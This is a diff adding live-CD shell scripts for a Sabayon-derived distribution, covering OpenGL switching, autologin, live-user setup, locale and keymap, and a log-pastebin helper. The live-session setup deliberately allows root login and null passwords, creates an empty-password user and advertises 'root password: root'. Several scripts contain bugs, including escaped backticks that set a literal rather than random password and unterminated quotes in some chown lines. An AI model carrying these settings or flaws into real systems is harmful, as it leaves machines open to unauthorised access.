+							rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/include/GL/$(basename "${file}")"
+						fi
+
+						ln -s ${PREFIX}/${libdir}/opengl/xorg-x11/include/${file} || echo "Failed to create ${DST_PREFIX}/include/GL/$(basename "${file}")"
+					fi
+				done
+			popd &> /dev/null
+
+			# Setup the $LDPATH
+			ldpath="${ldpath:+${ldpath}:}${PREFIX}/${libdir}/opengl/${gl_local}/lib"
+
+		done
+
+		sed -i '/LDPATH=.*/d' ${ENV_FILE}
+		echo "LDPATH=\"${ldpath}\"" >> ${ENV_FILE}
+		oldldpath=$(cat /etc/profile.env|grep LDPATH | cut -d"'" -f2)
+
+		sed -i '/export LDPATH=.*/d' /etc/profile.env
+		sed -i '/setenv LDPATH=.*/d' /etc/csh.env
+		sed -i '/export LD_LIBRARY_PATH=.*/d' /etc/profile.env
+		sed -i '/setenv LD_LIBRARY_PATH=.*/d' /etc/csh.env
+		sed -i "s/OPENGL_PROFILE=.*/OPENGL_PROFILE='${gl_implem}'/"  /etc/profile.env
+		sed -i "s/OPENGL_PROFILE=.*/OPENGL_PROFILE='${gl_implem}'/"  /etc/csh.env
+		sed -i '/LD_LIBRARY_PATH=.*/d' ${ENV_FILE}
+		sed -i "s/OPENGL_PROFILE=.*/OPENGL_PROFILE=\"${gl_implem}\"/"  ${ENV_FILE}
+
+		echo "export LDPATH='"${ldpath}":"${oldldpath}"'" >> /etc/profile.env
+		echo "setenv LDPATH='"${ldpath}":"${oldldpath}"'" >> /etc/csh.env
+		echo "export LD_LIBRARY_PATH='"${ldpath}"'" >> /etc/profile.env
+		echo "setenv LD_LIBRARY_PATH='"${ldpath}"'" >> /etc/csh.env
+		echo 'LD_LIBRARY_PATH="'${ldpath}'"' >> ${ENV_FILE}
+
+
+		source /etc/profile &> /dev/null
+	echo " done"
+}
+
+do_set() {
+	local action="error"
+	local current=$(get_current_implementation)
+	local available=$(get_implementations)
+	local new
+
+	while [[ ${#@} -gt 0 ]] ; do
+		local opt=${1}
+		shift
+		case ${opt} in
+			*)
+				action="set-implementation"
+				if has ${opt} ${available}; then
+					new="${opt}"
+				else
+					echo "Unrecognized option: ${opt}"
+				fi
+			;;
+		esac
+	done
+
+	case ${action} in
+		set-implementation)
+			if [[ -n ${new} ]] ; then
+				set_new_implementation ${new}
+                                rc=$?
+				sed -i "s/opengl\/xorg-x11\//opengl\/${new}\//" /etc/ld.so.conf
+				sed -i "s/opengl\/ati\//opengl\/${new}\//" /etc/ld.so.conf
+				sed -i "s/opengl\/nvidia\//opengl\/${new}\//" /etc/ld.so.conf
+				ldconfig -X &> /dev/null
+				return ${rc}
+			else
+				echo "Please specify an implementation to set"
+			fi
+		;;
+		*)
+			echo "Invalid usage of set action."
+		;;
+	esac
+
+}
+
+do_show() {
+	local current=$(get_current_implementation)
+	echo ${current}
+}
+
+is_live=$(cat /proc/cmdline | grep cdroot)
+
+if [ -n "$is_live" ]; then
+	if [ "$1" == "show" ]; then
+		do_show
+	else
+		do_set $@
+	fi
+else
+	if [ "$1" == "show" ]; then
+		eselect opengl show
+	else
+		eselect opengl set $@
+	fi
+fi
diff --git a/app-misc/rogentoslive-tools/files/1.0/rogentos-functions.sh b/app-misc/rogentoslive-tools/files/1.0/rogentos-functions.sh
new file mode 100755
index 00000000..eb4bf4d6
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/rogentos-functions.sh
@@ -0,0 +1,247 @@
+#!/bin/bash
+
+GDM_FILE="/usr/share/gdm/defaults.conf"
+CUSTOM_GDM_FILE="/etc/gdm/custom.conf"
+KDM_FILE="/usr/share/config/kdm/kdmrc"
+LXDM_FILE="/etc/lxdm/lxdm.conf"
+OEM_FILE="/etc/oemlive.sh"
+OEM_FILE_NEW="/etc/oem/liveboot.sh"
+LIVE_USER_GROUPS="audio bumblebee cdrom cdrw clamav console entropy games \
+kvm lp lpadmin messagebus plugdev polkituser portage pulse pulse-access pulse-rt \
+scanner usb users uucp vboxguest vboxusers video wheel"
+LIVE_USER=${SABAYON_USER:-rogentosuser}
+
+sabayon_setup_autologin() {
+	# GDM - GNOME
+	if [ -f "${GDM_FILE}" ]; then
+		sed -i "s/^AutomaticLoginEnable=.*/AutomaticLoginEnable=true/" ${GDM_FILE}
+		sed -i "s/^AutomaticLogin=.*/AutomaticLogin=${LIVE_USER}/" ${GDM_FILE}
+
+		sed -i "s/^TimedLoginEnable=.*/TimedLoginEnable=true/" ${GDM_FILE}
+		sed -i "s/^TimedLogin=.*/TimedLogin=${LIVE_USER}/" ${GDM_FILE}
+		sed -i "s/^TimedLoginDelay=.*/TimedLoginDelay=0/" ${GDM_FILE}
+
+	elif [ -f "${CUSTOM_GDM_FILE}" ]; then
+		# FIXME: if this is called multiple times, it generates duplicated entries
+		sed -i "s:\[daemon\]:\[daemon\]\nAutomaticLoginEnable=true\nAutomaticLogin=${LIVE_USER}\nTimedLoginEnable=true\nTimedLogin=${LIVE_USER}\nTimedLoginDelay=0:" \
+			"${CUSTOM_GDM_FILE}"
+		# change other entries there
+		sed -i "s/^TimedLogin=.*/TimedLogin=${LIVE_USER}/" "${CUSTOM_GDM_FILE}"
+		sed -i "s/^AutomaticLogin=.*/AutomaticLogin=${LIVE_USER}/" "${CUSTOM_GDM_FILE}"
+	fi
+
+	# KDM - KDE
+	if [ -f "$KDM_FILE" ]; then
+		sed -i "s/AutoLoginEnable=.*/AutoLoginEnable=true/" $KDM_FILE
+		sed -i "s/AutoLoginUser=.*/AutoLoginUser=${LIVE_USER}/" $KDM_FILE
+		sed -i "s/AutoLoginDelay=.*/AutoLoginDelay=0/" $KDM_FILE
+		sed -i "s/AutoLoginAgain=.*/AutoLoginAgain=true/" $KDM_FILE
+
+		sed -i "s/AllowRootLogin=.*/AllowRootLogin=true/" $KDM_FILE
+		sed -i "s/AllowNullPasswd=.*/AllowNullPasswd=true/" $KDM_FILE
+		sed -i "s/AllowShutdown=.*/AllowShutdown=All/" $KDM_FILE
+
+		sed -i "/^#.*AutoLoginEnable=/ s/^#//" $KDM_FILE
+		sed -i "/^#.*AutoLoginUser=/ s/^#//" $KDM_FILE
+		sed -i "/^#.*AutoLoginDelay=/ s/^#//" $KDM_FILE
+		sed -i "/^#.*AutoLoginAgain=/ s/^#//" $KDM_FILE
+
+		sed -i "/^#AllowRootLogin=/ s/^#//" $KDM_FILE
+		sed -i "/^#AllowNullPasswd=/ s/^#//" $KDM_FILE
+		sed -i "/^#AllowShutdown=/ s/^#//" $KDM_FILE
+	fi
+
+	# LXDM
+	if [ -f "$LXDM_FILE" ]; then
+		sed -i "s/autologin=.*/autologin=${LIVE_USER}/" $LXDM_FILE
+		sed -i "/^#.*autologin=/ s/^#//" $LXDM_FILE
+	fi
+
+	# Setup correct login session
+	sabayon_is_normal_boot && sabayon_fixup_gnome_autologin_session
+}
+
+sabayon_disable_autologin() {
+	# GDM - GNOME
+	if [ -f "${GDM_FILE}" ]; then
+		sed -i "s/^AutomaticLoginEnable=.*/AutomaticLoginEnable=false/" ${GDM_FILE}
+	fi
+
+	# KDM - KDE
+	KDM_FILE="/usr/share/config/kdm/kdmrc"
+	if [ -f "$KDM_FILE" ]; then
+		sed -i "s/AutoLoginEnable=.*/AutoLoginEnable=false/" $KDM_FILE
+	fi
+}
+
+sabayon_setup_live_user() {
+	local live_user="${1}"
+	local live_uid="${2}"
+	if [ -z "${live_user}" ]; then
+		live_user="${LIVE_USER}"
+	fi
+	if [ -n "${live_uid}" ]; then
+		live_uid="-u ${live_uid}"
+	fi
+	id ${live_user} &> /dev/null
+	if [ "${?}" != "0" ]; then
+		local live_groups=""
+		local avail_groups=$(cat /etc/group | cut -d":" -f 1 | xargs echo)
+		for a_group in ${avail_groups}; do
+			for p_group in ${LIVE_USER_GROUPS}; do
+				if [ "${p_group}" = "${a_group}" ]; then
+					if [ -z "${live_groups}" ]; then
+						live_groups="${p_group}"
+					else
+						live_groups="${live_groups},${p_group}"
+					fi
+				fi
+			done
+		done
+		# then setup live user, that is missing
+		useradd -d "/home/${live_user}" -g root -G ${live_groups} -c "rogentosuser" \
+			-m -N -p "" -s /bin/bash ${live_uid} "${live_user}"
+		return 0
+	fi
+	return 1
+}
+
+sabayon_setup_motd() {
+	echo -e "\n\tWelcome to `cat /etc/rogentos-edition`\n\t`uname -p`\n\t`uname -o` `uname -r`\n" > /etc/motd
+}
+
+sabayon_setup_vt_autologin() {
+	source /sbin/livecd-functions.sh
+	export CDBOOT=1
+	livecd_fix_inittab
+}
+
+sabayon_setup_oem_livecd() {
+	if [ -x "${OEM_LIVE_NEW}" ]; then
+		${OEM_FILE_NEW} || return 1
+	elif [ -x "${OEM_LIVE}" ]; then
+		${OEM_FILE} || return 1
+	fi
+	return 0
+}
+
+sabayon_is_live() {
+	local cmdl=$(cat /proc/cmdline | grep cdroot)
+	if [ -n "${cmdl}" ]; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+sabayon_setup_gui_installer() {
+	# Configure Fluxbox
+	local dmrc_file="/home/${LIVE_USER}/.dmrc"
+	local flux_dir="/home/${LIVE_USER}/.fluxbox"
+	local flux_startup_file="${flux_dir}/startup"
+	chown ${LIVE_USER} "${dmrc_file}"
+	chown ${LIVE_USER} "/home/${LIVE_USER}/.fluxbox
+	if [ ! -d "${flux_dir}" ]; then
+		mkdir "${flux_dir}" && chown "${LIVE_USER}" "${flux_dir}"
+	fi
+	echo "[Desktop]" > "${dmrc_file}"
+	echo "Session=fluxbox" >> "${dmrc_file}"
+	chown rogentosuser "${dmrc_file}"
+	sed -i "/installer --fullscreen/ s/^# //" "${flux_startup_file}"
+	if [ -x "/usr/libexec/gdm-set-default-session" ]; then
+		# oh my fucking glorious god, this
+		# is AccountsService bullshit
+		# cross fingers
+		/usr/libexec/gdm-set-default-session fluxbox
+	fi
+	if [ -x "/usr/libexec/gdm-set-session" ]; then
+		# GDM 3.6 support
+		/usr/libexec/gdm-set-session sabayonuser fluxbox
+	fi
+        chown ${LIVE_USER} "${dmrc_file}"
+        chown ${LIVE_USER} "/home/${LIVE_USER}/.fluxbox
+}
+
+# This function reads /etc/skel/.dmrc and properly
+# set the Session= value inside AccountsService.
+# Blame the idiots who broke de-facto standards
+# and created this fugly thing called AccountsService
+sabayon_fixup_gnome_autologin_session() {
+	local cur_session=
+
+	if [ -f "/etc/skel/.dmrc" ]; then
+		cur_session=$(cat /etc/skel/.dmrc | grep ^Session | cut -d"=" -f 2)
+	fi
+	if [ -z "${cur_session}" ]; then
+		return 0
+	fi
+
+	local sess_file="/usr/share/xsessions/${cur_session}.desktop"
+	if [ ! -f "${sess_file}" ]; then
+		return 0
+	fi
+
+	if [ -x "/usr/libexec/gdm-set-default-session" ]; then
+		# this edits /etc/gdm/custom.conf adding [daemon]\nDefaultSession=${cur_session}
+		/usr/libexec/gdm-set-default-session "${cur_session}"
+	fi
+
+	if [ -x "/usr/libexec/gdm-set-session" ]; then
+		# GDM 3.6 support
+		local users_in_users=$(cat /etc/group | grep "^users" | awk -F':' '{ print $4 }' | sed "s:,: :g")
+		for usr in ${users_in_users}; do
+			/usr/libexec/gdm-set-session "${usr}" "${cur_session}"
+		done
+	fi
+}
+
+sabayon_setup_text_installer() {
+	# switch to verbose mode
+	splash_manager -c set -t default -m v &> /dev/null
+	reset
+	chvt 1
+	clear
+	echo "Welcome to Rogentos Linux Text installation." >> /etc/motd
+	echo "root password: root" >> /etc/motd
+	echo "to run the installation type: installer <and PRESS ENTER>" >> /etc/motd
+}
+
+sabayon_is_text_install() {
+	local _is_install=$(cat /proc/cmdline | grep installer-text)
+	if [ -n "${_is_install}" ]; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+sabayon_is_gui_install() {
+	local _is_install=$(cat /proc/cmdline | grep installer-gui)
+	if [ -n "${_is_install}" ]; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+sabayon_is_live_install() {
+	( sabayon_is_text_install || sabayon_is_gui_install ) && return 0
+	return 1
+}
+
+sabayon_is_mce() {
+	local _is_mce=$(cat /proc/cmdline | grep sabayonmce)
+	if [ -n "${_is_mce}" ]; then
+		return 0
+	else
+		return 1
+	fi
+}
+
+sabayon_is_normal_boot() {
+	if ! sabayon_is_mce && ! sabayon_is_live_install; then
+		return 0
+	else
+		return 1
+	fi
+}
diff --git a/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader b/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader
new file mode 100755
index 00000000..0bb12f2b
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+SABAYON_LOADER="/usr/bin/xdg-open"
+SABAYON_URL=${SABAYON_URL:-http://www.sabayon.org?install_welcome=1}
+
+# load Sabayon URL
+[[ -x "${SABAYON_LOADER}" ]] && ${SABAYON_LOADER} ${SABAYON_URL} &
+
+# remove myself from autostart
+rm ~/.config/autostart/sabayon-welcome-loader.desktop -f
diff --git a/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader.desktop b/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader.desktop
new file mode 100644
index 00000000..e5ea4b3d
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader.desktop
@@ -0,0 +1,7 @@
+[Desktop Entry]
+Type=Application
+Name=sabayon-loader
+Exec=sabayon-welcome-loader
+Icon=system-run
+Comment=Sabayon Linux post-install Welcome Screen
+Terminal=false
diff --git a/app-misc/rogentoslive-tools/files/1.0/rogentoslive b/app-misc/rogentoslive-tools/files/1.0/rogentoslive
new file mode 100755
index 00000000..4a65b73e
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/rogentoslive
@@ -0,0 +1,218 @@
+#!/sbin/runscript
+# Copyright 2004-2009 Fabio Erculiani
+# Distributed under the terms of the GNU General Public License v2 
+
+. /sbin/rogentos-functions.sh
+
+depend() {
+	after x-setup
+	before hald
+	before xdm
+}
+
+prepare_fluxbox_locked_autologin() {
+
+	# change default wm to fluxbox
+	echo "[Desktop]" > /home/${LIVE_USER}/.dmrc
+	echo "Session=fluxbox" >> /home/${LIVE_USER}/.dmrc
+	chown ${LIVE_USER} /home/${LIVE_USER}/.dmrc
+	# Change passwords for security
+	echo root:\`pwgen -s 16\` | chpasswd  > /dev/null 2>&1
+	echo ${LIVE_USER}:\`pwgen -s 16\` | chpasswd  > /dev/null 2>&1
+
+}
+
+my_setup_desktop() {
+
+	# create LIVE_USER if it does not exist
+	sabayon_setup_live_user "${LIVE_USER}" "1000"
+	if [ "${?}" = "1" ]; then
+		# if user is already available, then setup skel
+		# Copy ${LIVE_USER} directory
+		rm -rf /home/${LIVE_USER}
+		cp /etc/skel /home/${LIVE_USER} -Rp
+		chown ${LIVE_USER}:users /home/${LIVE_USER} -R
+	fi
+
+	liveinst_desktop="/usr/share/applications/liveinst.desktop"
+	liveinst_desktop_name="$(basename ${liveinst_desktop})"
+	if [ -f "${liveinst_desktop}" ]; then
+		[[ -d "/home/${LIVE_USER}/Desktop" ]] || mkdir -p /home/${LIVE_USER}/Desktop 
+		cp "${liveinst_desktop}" /home/${LIVE_USER}/Desktop
+		chown ${LIVE_USER}:users /home/${LIVE_USER}/Desktop -R
+		chmod +x /home/${LIVE_USER}/Desktop/${liveinst_desktop_name}
+		rm -f /etc/skel/Desktop/Anaconda*.desktop
+		rm -f /home/${LIVE_USER}/Desktop/Anaconda*.desktop
+	fi
+
+	# Disable memory eating services
+	rm -f /etc/xdg/autostart/hplip-systray.desktop
+	rm -f /etc/xdg/autostart/beagle-search-autostart.desktop
+	rm -f /etc/xdg/autostart/tracker*.desktop
+	rm -f /etc/xdg/autostart/magneto.desktop
+	rm -f /etc/xdg/autostart/beagled-autostart.desktop
+	rm -f /usr/share/autostart/magneto.desktop
+	rm -f /usr/share/autostart/nepomukserver.desktop
+
+        # Remove broken entries in /etc/mtab
+        sed -i '/.*newroot.*/d' /etc/mtab
+
+	# Create /media for removable devices
+	if [ ! -d /media ]; then
+		mkdir /media
+		chmod 755 /media
+	fi
+
+	# Add sudo to gparted exec=
+	gparted_file="/home/${LIVE_USER}/Desktop/gparted.desktop"
+	if [ -f "${gparted_file}" ]; then
+		sed -i 's/Exec=/Exec=sudo /' "${gparted_file}"
+	fi
+
+	# create /overlay, this way df -h won't bitch
+	[[ -d "/overlay" ]] || mkdir /overlay
+
+}
+
+my_setup_password() {
+
+	cmdline_autoscramble_exist=$(cat /proc/cmdline | grep autoscramble)
+	if [ -n "$cmdline_autoscramble_exist" ]; then
+		echo
+		echo -e "\E[33;36m * \E[0m\E[01;36m Autoscrambling root passwords for   S E C U R I T Y"
+		echo root:\`pwgen -s 16\` | chpasswd  > /dev/null 2>&1
+		echo ${LIVE_USER}:\`pwgen -s 16\` | chpasswd  > /dev/null 2>&1
+		echo
+	fi
+
+}
+
+my_setup_keymap() {
+
+	# Check if KEYMAP is forced by cmdline
+	cmdline_keymap_exist=$(cat /proc/cmdline | grep -i "KEYMAP=")
+	cmdline_keymap_isolinux_exist=$(cat /proc/cmdline | grep -i "console-setup/layoutcode=")
+
+	if [ -n "$cmdline_keymap_isolinux_exist" ]; then
+		cmdline_keymap_exist="console-setup"
+	fi
+
+        if [ -n "$cmdline_keymap_exist" ];then
+
+		if [ "$cmdline_keymap_exist" == "console-setup" ]; then
+			# detect keymap
+			for word in `cat /proc/cmdline` ; do
+				case $word in
+					console-setup/layoutcode=*)
+					keymap_toset=$(echo $word | cut -d "=" -f 2)
+					;;
+					console-setup/modelcode=*)
+					keymap_toset_model="-$(echo $word | cut -d "=" -f 2)"
+					;;
+				esac
+			done
+		else
+
+			# detect keymap
+			for word in `cat /proc/cmdline` ; do
+				case $word in
+					KEYMAP=*)
+					keymap_toset=$(echo $word | cut -d "=" -f 2)
+					;;
+					keymap=*)
+					keymap_toset=$(echo $word | cut -d "=" -f 2)
+					;;
+				esac
+			done
+
+		fi
+
+		if [ -n "$keymap_toset" ]; then
+			aggregated_keymap="${keymap_toset}${keymap_toset_model}"
+			/sbin/keyboard-setup-2 ${aggregated_keymap} all &> /dev/null
+			if [ "${?}" = "0" ]; then
+				/etc/init.d/keymaps restart --nodeps
+			fi
+		fi
+	
+	fi
+
+}
+
+my_wait_opengl_config() {
+
+	echo -en "\E[33;36m * \E[0m \E[01;32m Waiting for Graphical Configurator to finish... \E[0m"
+	while [ -e "/etc/x-setup-configuration-running" ]
+           do
+	      # waiting...
+	      sleep 1
+	   done
+	echo -e "Done"
+
+}
+
+my_setup_locale() {
+
+        cmdline_lang_exist=$(cat /proc/cmdline | grep -i "lang=")
+        cmdline_locale_exist=$(cat /proc/cmdline | grep -i "locale=")
+
+	if [ -n "$cmdline_locale_exist" ]; then
+		cmdline_lang_exist="locale-setup"
+	fi
+
+        if [ -n "$cmdline_lang_exist" ];then
+
+		if [ "$cmdline_lang_exist" == "locale-setup" ]; then
+			# detect keymap
+			for word in `cat /proc/cmdline` ; do
+				case $word in
+					locale=*)
+					lang_toset=$(echo $word | cut -d "=" -f 2)
+					;;
+				esac
+			done
+		else
+			for word in `cat /proc/cmdline` ; do
+				case $word in
+					LANG=*)
+					lang_toset=$(echo $word | cut -d "=" -f 2)
+					;;
+					lang=*)
+					lang_toset=$(echo $word | cut -d "=" -f 2)
+					;;
+				esac
+			done
+		fi
+		
+		# Setup Language
+		if [ -n "$lang_toset" ]; then
+			/sbin/language-setup $lang_toset &> /dev/null
+		fi
+
+        fi
+
+}
+
+start() {
+
+	# Perform configuration only in live mode
+	if ! sabayon_is_live; then
+		einfo "Skipping live mode configuration"
+		return 0
+	fi
+
+	my_setup_desktop
+	my_setup_password
+	my_setup_keymap
+	my_wait_opengl_config
+	# MOVED HERE TO AVOID RACE CONDITIONS ON WRITING /etc/profile.env variables
+	# Check if LANG is forced by cmdline
+	my_setup_locale
+	# setup autologin for all the supported Login managers
+	sabayon_setup_autologin
+	# override autostart stuff if required:
+	sabayon_setup_motd
+	sabayon_setup_vt_autologin
+	sabayon_setup_oem_livecd
+
+}
diff --git a/app-misc/rogentoslive-tools/files/1.0/sabayon-live-check b/app-misc/rogentoslive-tools/files/1.0/sabayon-live-check
new file mode 100644
index 00000000..4dc2e739
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/sabayon-live-check
@@ -0,0 +1,26 @@
+#!/bin/sh
+#
+# sabayon_livechk.sh
+#
+# Checks the integrity of a LiveCD/DVD by passing the
+# contents of the image through a md5sum (to be compared
+# with an documented value elsewhere).
+#
+
+if ( ! isoinfo -d -i /dev/cdrom >>/dev/null 2>/dev/null ); then
+       echo "CDROM/DVD image not found!"
+       exit 1
+fi
+
+echo -e "Checking image integrity, please allow several minutes...\n"
+echo "You can check for errors by running 'tail /var/log/messages'"
+echo "in another console window.  If you encounter multiple device"
+echo "errors with you cdrom, this probably indicates the test is failing."
+echo "You may type 'Ctrl-c' to abort the check."
+
+BLOCK_SIZE=`isoinfo -d -i /dev/cdrom | grep "Logical block size is" | cut -d: -f2 | sed 's/^[ ]//g'`
+VOL_SIZE=`isoinfo -d -i /dev/cdrom | grep "Volume size is" | cut -d: -f2 | sed 's/^[ ]//g'`
+dd if=/dev/cdrom bs=$BLOCK_SIZE count=$VOL_SIZE conv=notrunc,noerror | md5sum
+
+echo "Compare the above value with the value supplied in"
+echo "the release notes for this version at:"
diff --git a/app-misc/rogentoslive-tools/files/1.0/sabutil b/app-misc/rogentoslive-tools/files/1.0/sabutil
new file mode 100755
index 00000000..680a6d1e
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/sabutil
@@ -0,0 +1,667 @@
+#!/bin/bash
+
+# Initial version by wolfden.
+# Later changes by Enlik <poczta-sn at gazeta.pl>.
+
+# last change: 9.03.2012
+# most important changes to last version:
+# - abort if non root where needs root permissions
+# - fix fdisk -l pasting
+# - support for xorg.conf.d
+# - reorder options and add rcupdate_pastebin
+
+USER=$(whoami)
+HOMEDIR=${HOME:-/tmp}
+
+function menu
+{
+    local selection=""
+    until  [[ "$selection" = "0" ]] ; do
+        echo "Current Operating System:"
+	cat /etc/sabayon-release
+	echo ""
+        echo "Current Edition:"
+	cat /etc/rogentos-edition
+        echo
+        echo "Pick a choice from menu below:"
+
+        echo ""
+        echo "1 - Backup & edit xorg.conf and xorg.conf.d"
+        echo "2 - Restore xorg.conf and xorg.conf.d from backup"
+        echo "3 - Regenerate Sabayon xorg.conf"
+        echo "4 - Backup & edit grub.cfg"
+        echo "5 - Restore grub.cfg from backup"
+        echo "----------------------------------------"
+        echo "View and AutoPaste:"
+        echo " "
+        echo "01 - Pastebin Xorg configuration files"
+        echo "02 - Pastebin Xorg.0.log"
+        echo "03 - Pastebin ~/.xsession-errors"
+        echo "04 - Pastebin grub.cfg (bootmanager settings)"
+        echo "05 - Pastebin /var/log/dmesg"
+        echo "06 - Pastebin system and hardware info"
+        echo "07 - Pastebin fdisk -l (list the partition tables)"
+        echo "08 - Pastebin rc-update show (show enabled services and the runlevels)"
+        echo "09 - Pastebin rc.log"
+        echo "10 - Pastebin /var/log/messages"
+        echo "11 - Pastebin kdm.log"
+        echo ""
+        echo "0 - Exit"
+        echo ""
+        echo -n "Enter selection: "
+        read selection
+        echo ""
+
+        case $selection in
+            1 ) xorg_backup ; press_enter ; xorg_edit; press_enter ;;
+            2 ) xorg_restore ; press_enter ;;
+            3 ) xorg_regen ; press_enter ;;
+            4 ) grub_backup ; press_enter ; nano -w /boot/grub/grub.cfg; press_enter ;;
+            5 ) grub_restore ; press_enter ;;
+            01 ) xorg_pastebin ; press_enter ;;
+            02 ) xorg0log_pastebin ; press_enter ;;
+            03 ) xsessionerrors_pastebin ; press_enter ;;
+            04 ) grub_pastebin ; press_enter ;;
+            05 ) dmesg_pastebin ; press_enter ;;
+            06 ) system_pastebin ; press_enter ;;
+            07 ) fdisk_pastebin ; press_enter ;;
+            08 ) rcupdate_pastebin ; press_enter ;;
+            09 ) rclog_pastebin ; press_enter ;;
+            10 ) messages_pastebin ; press_enter ;;
+            11 ) kdm_pastebin ; press_enter ;;
+
+            0 ) ;;
+            * ) echo "Please be sensible - choose a number that exists in the menu"; press_enter
+        esac
+    done
+
+}
+
+function press_enter
+{
+    echo ""
+    echo -n "Press Enter to continue"
+    read
+    clear
+}
+
+function is_root
+{
+    if [[ $USER != "root" ]]; then
+        echo "You need to be root to do this." >&2
+        return 1
+    fi
+    return 0
+}
+
+function xorg_regen
+{
+    is_root || return
+
+    if [[ ! -f "/etc/X11/xorg.conf.rogentos" ]]; then
+        cat > /etc/X11/xorg.conf.rogentos <<EOF
+Section "Module"
+    SubSection  "extmod"
+       Option    "omit xfree86-dga"
+    EndSubSection
+    Load        "i2c"
+    Load        "ddc"
+    Load        "synaptics"
+    Load        "vbe"
+#   Load        "dri"
+EndSection
+
+
+Section "ServerFlags"
+     Option     "AllowMouseOpenFail" "true"
+EndSection
+
+Section "InputDevice"
+    Identifier          "Synaptics1"
+    Driver              "synaptics"
+    Option              "SendCoreEvents"        "true"
+    Option              "Device"                "/dev/psaux"
+    Option              "Protocol"              "auto-dev"
+    Option              "HorizScrollDelta"      "0"
+    Option              "SHMConfig"             "on"
+    # For ALPS/MacBook TouchPads
+    #Option             "MaxSpeed"              "0.7"
+    #Option             "MinSpeed"              "0.18"
+    #Option             "AccelFactor"           "0.08"
+    #Option             "TopEdge"               "120"
+    #Option             "LeftEdge"              "120"
+    #Option             "BottomEdge"            "830"
+    #Option             "RightEdge"             "650"
+    #Option             "FingerLow"             "25"
+    #Option             "FingerHigh"            "30"
+    # MacBook touchpad
+    #Option             "MaxTapTime"            "180"
+    #Option             "MaxTapMove"            "220"
+    #Option             "MaxDoubleTapTime"      "180"
+    #Option             "VertScrollDelta"       "20"
+    #Option             "HorizScrollDelta"      "50"
+    #Option             "TapButton2"            "3"
+    #Option             "TapButton3"            "2"
+    #Option             "VertTwoFingerScroll"   "1"
+
+    # Do you keep moving the mouse while typing? Try this trick.
+    #synclient TouchpadOff=1 disable your synaptics touchpad
+    #synclient TouchpadOff=0 enable your synaptics touchpad
+EndSection
+
+
+# **********************************************************************
+# Monitor section
+# **********************************************************************
+
+# Any number of monitor sections may be present
+
+Section "Monitor"
+    Identifier  "Generic Monitor"
+    VertRefresh 43 - 60
+    HorizSync   28 - 80
+EndSection
+
+# **********************************************************************
+# Graphics device section
+# **********************************************************************
+
+# Any number of graphics device sections may be present
+
+Section "Device"
+    Identifier  "VESA"
+    Driver      "vesa" # do not remove vesa
+    #Option "RenderAccel" "on"
+    #Option "XAANoOffscreenPixmaps"
+    #Option "BusType" "PCI"
+    #Option "ColorTiling" "on"
+    #Option "EnablePageFlip" "on"
+    # UseEvents is causing segmentation faults with
+    # NVIDIA 6xxx, 7xxx and >=275.xx.xx drivers
+    #Option "UseEvents" "True"
+EndSection
+
+
+# **********************************************************************
+# Screen sections.
+# **********************************************************************
+
+Section "Screen"
+
+# The Identifier, Device and Monitor lines must be present
+
+    Identifier  "Screen 1"
+    Device      "VESA"
+    Monitor     "Generic Monitor"
+    #Option "AddARGBGLXVisuals" "true"
+
+# The favoured Depth and/or Bpp may be specified here
+
+    DefaultDepth 24
+
+    SubSection "Display"
+        Depth           8
+        ViewPort        0 0
+        #Modes          "1024x768" "800x600" "640x480"
+    EndSubsection
+
+    SubSection "Display"
+        Depth           16
+        ViewPort        0 0
+        #Modes          "1024x768" "800x600" "640x480"
+    EndSubsection
+
+    SubSection "Display"
+        Depth           24
+        ViewPort        0 0
+        #Modes          "1024x768" "800x600" "640x480"
+    EndSubsection
+
+
+EndSection
+
+
+Section "ServerLayout"
+# The Identifier line must be present
+
+    Identifier  "Main Layout"
+    Screen 0    "Screen 1"
+    InputDevice "Mouse1" "CorePointer"
+    #InputDevice "Synaptics1" "SendCoreEvents"
+
+EndSection
+
+Section "DRI"
+    Mode 0666
+EndSection
+
+Section "Extensions"
+   #Option "Composite" "Enable"
+EndSection
+EOF
+    fi
+
+    mv -f /etc/X11/xorg.conf /etc/X11/xorg.conf.old
+    /usr/sbin/x-setup-configuration
+
+    echo "Note: you may want to look to /etc/X11/xorg.conf.d (if it exists), too."
+}
+
+function xorg_backup
+{
+    is_root || return
+
+    if [[ -f /etc/X11/xorg.conf.BKUP ]]; then
+        echo "/etc/X11/xorg.conf.BKUP already exists, so new backup wasn't made - aborting."
+        echo "Now off we go to edit the file...."
+        return
+    elif [[ -e /etc/X11/xorg.conf.d.BKUP ]]; then
+        echo "/etc/X11/xorg.conf.d.BKUP backup already exists, so new backup wasn't made - aborting."
+        return
+    fi
+
+    # Delete backup file. If there's no xorg.conf, no stale xorg.conf.BKUP will be kept.
+    # So xorg_restore will not made new (unexpected) xorg.conf from xorg.conf.BKUP.
+    rm -f /etc/X11/xorg.conf.BKUP
+    if [[ -f /etc/X11/xorg.conf ]]; then
+	echo "Making backup of xorg.conf as /etc/X11/xorg.conf.BKUP"
+	cp /etc/X11/xorg.conf /etc/X11/xorg.conf.BKUP
+    else
+	echo "There's no /etc/X11/xorg.conf so it couldn't be backed up."
+    fi
+
+    if [[ -e /etc/X11/xorg.conf.d ]]; then
+	echo "Making backup of /etc/X11/xorg.conf.d/*"
+	if [[ ! -d /etc/X11/xorg.conf.d ]]; then
+	    echo "!!!"
+	    echo "/etc/X11/xorg.conf.d is not a directory!"
+	    return
+	fi
+        mkdir -p /etc/X11/xorg.conf.d.BKUP
+        rm -f /etc/X11/xorg.conf.d.BKUP/* # dotfiles and subdirectories (who keeps them there?!) are left untouched
+        cp /etc/X11/xorg.conf.d/* /etc/X11/xorg.conf.d.BKUP/ # and not copied (that's fine)
